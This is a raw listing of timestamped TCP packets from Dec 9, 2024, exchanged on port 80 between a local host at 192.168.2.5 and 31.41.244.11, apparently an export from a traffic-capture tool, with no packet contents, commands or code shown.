Dec 9, 2024 15:30:11.829145908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.829180002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.829201937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.830442905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.830492020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.831171036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.831214905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.831799984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.831844091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.832469940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.832516909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.833920002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.833970070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.834228039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.834270954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.836040020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.836093903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.836383104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.836430073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.838103056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.838151932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.838439941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.838485956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.840305090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.840348959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.840579033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.840615034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.842279911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.842324972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.842628002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.842670918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.844234943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.844279051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.844552040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.844593048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.846239090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.846283913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.846668959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.846708059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.848144054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.848189116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.848467112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.848510027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.850020885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.850060940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.850358009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.850399971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.851947069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.851989985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.852289915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.852330923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.853888988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.853938103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.854229927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.854275942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.855855942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.855901003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.856164932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.856206894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.857767105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.857815027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.858109951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.858161926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.859697104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.859744072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.860058069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.860100031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.861665010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.861721039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.861955881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.862001896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.863702059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.863756895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.864245892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.864289999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.865787983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.865830898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.866071939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.866113901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.867554903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.867599010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.867806911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.867847919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.869339943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.869383097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.869647026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.869684935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.871284962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.871329069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.871620893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.871664047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.873145103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.873188972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.873503923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.873543978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.875149965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.875195026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.875552893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.875591993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.877329111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.877372026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.877585888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.877624989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.879019022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.879059076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.879415989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.879456997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.881045103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.881094933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.881459951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.881500959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.882734060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.882774115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.883071899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.883111954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.884721041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.884767056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.885047913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.885090113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.886719942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.886764050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.886955023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.886995077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.888536930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.888585091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.889146090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.889198065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.890852928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.890913010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.892209053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.892266035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.893886089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.893942118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.894439936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.894489050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.895172119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.895184994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.895225048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.896467924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.896516085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.897162914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.897212982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.898199081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.898248911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.898510933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.898556948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.900191069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.900238037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.900511026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.900556087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.902095079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.902137995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.902493954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.902534962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.904160023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.904203892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.904598951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.904639959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.906016111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.906058073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.906543016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.906582117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.908226013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.908274889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.908526897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.908567905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.910044909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.910099030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.910342932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.910384893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.911693096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.911736012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.912003040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.912044048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.913551092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.913594961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.913940907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.913984060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.915501118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.915541887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.915853977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.915893078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.917447090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.917488098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.917994976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.918039083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.919404984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.919450045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.919858932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.919900894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.921257973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.921300888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.921602964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.921644926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.013858080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.014100075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.014663935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.014723063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.015163898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.015213966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.015757084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.015806913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.016489029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.016537905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.017172098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.017218113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.017924070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.017971992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.018492937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.018537045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.019550085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.019596100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.019891977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.019937992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.021126986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.021177053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.021559000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.021603107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.022731066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.022783041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.023066044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.023112059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.024182081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.024231911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.024657965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.024703979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.025696993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.025742054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.026014090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.026058912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.027273893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.027324915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.027650118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.027728081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.028690100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.028738022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.029062033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.029103994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.030168056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.030220985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.030484915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.030533075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.031645060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.031692982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.032027006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.032073021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.033024073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.033071995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.033358097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.033402920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.034491062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.034543037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.034838915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.034890890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.035852909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.035906076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.036196947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.036243916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.037302971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.037352085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.037761927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.037801981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.038930893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.038985968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.039438009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.039482117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.041857004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.041908026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.043322086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.043334007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.043344975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.043370962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.043426037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.044763088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.044775009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.044815063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.046147108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.046161890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.046197891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.047492027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.047506094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.047537088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.048924923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.048937082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.048969984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.050214052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.050225973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.050286055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.051609993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.051624060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.051662922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.053003073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.053015947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.053055048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.054267883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.054281950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.054387093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.055648088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.055665016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.055708885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.056912899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.056926966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.056955099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.056984901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.058309078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.058331013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.058358908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.058376074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.059592962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.059611082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.059643030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.059664011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.061151981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.061162949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.061203957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.062304974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.062316895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.062355995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.063697100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.063710928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.063747883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.063776970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.065084934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.065103054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.065144062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.065160990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.066364050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.066376925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.066416025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.066431046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.067890882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.067910910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.067939043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.067953110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.069490910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.069505930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.069541931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.069559097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.070787907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.070801020 CET	80	49866	31.41.244.11	192.168.2.5
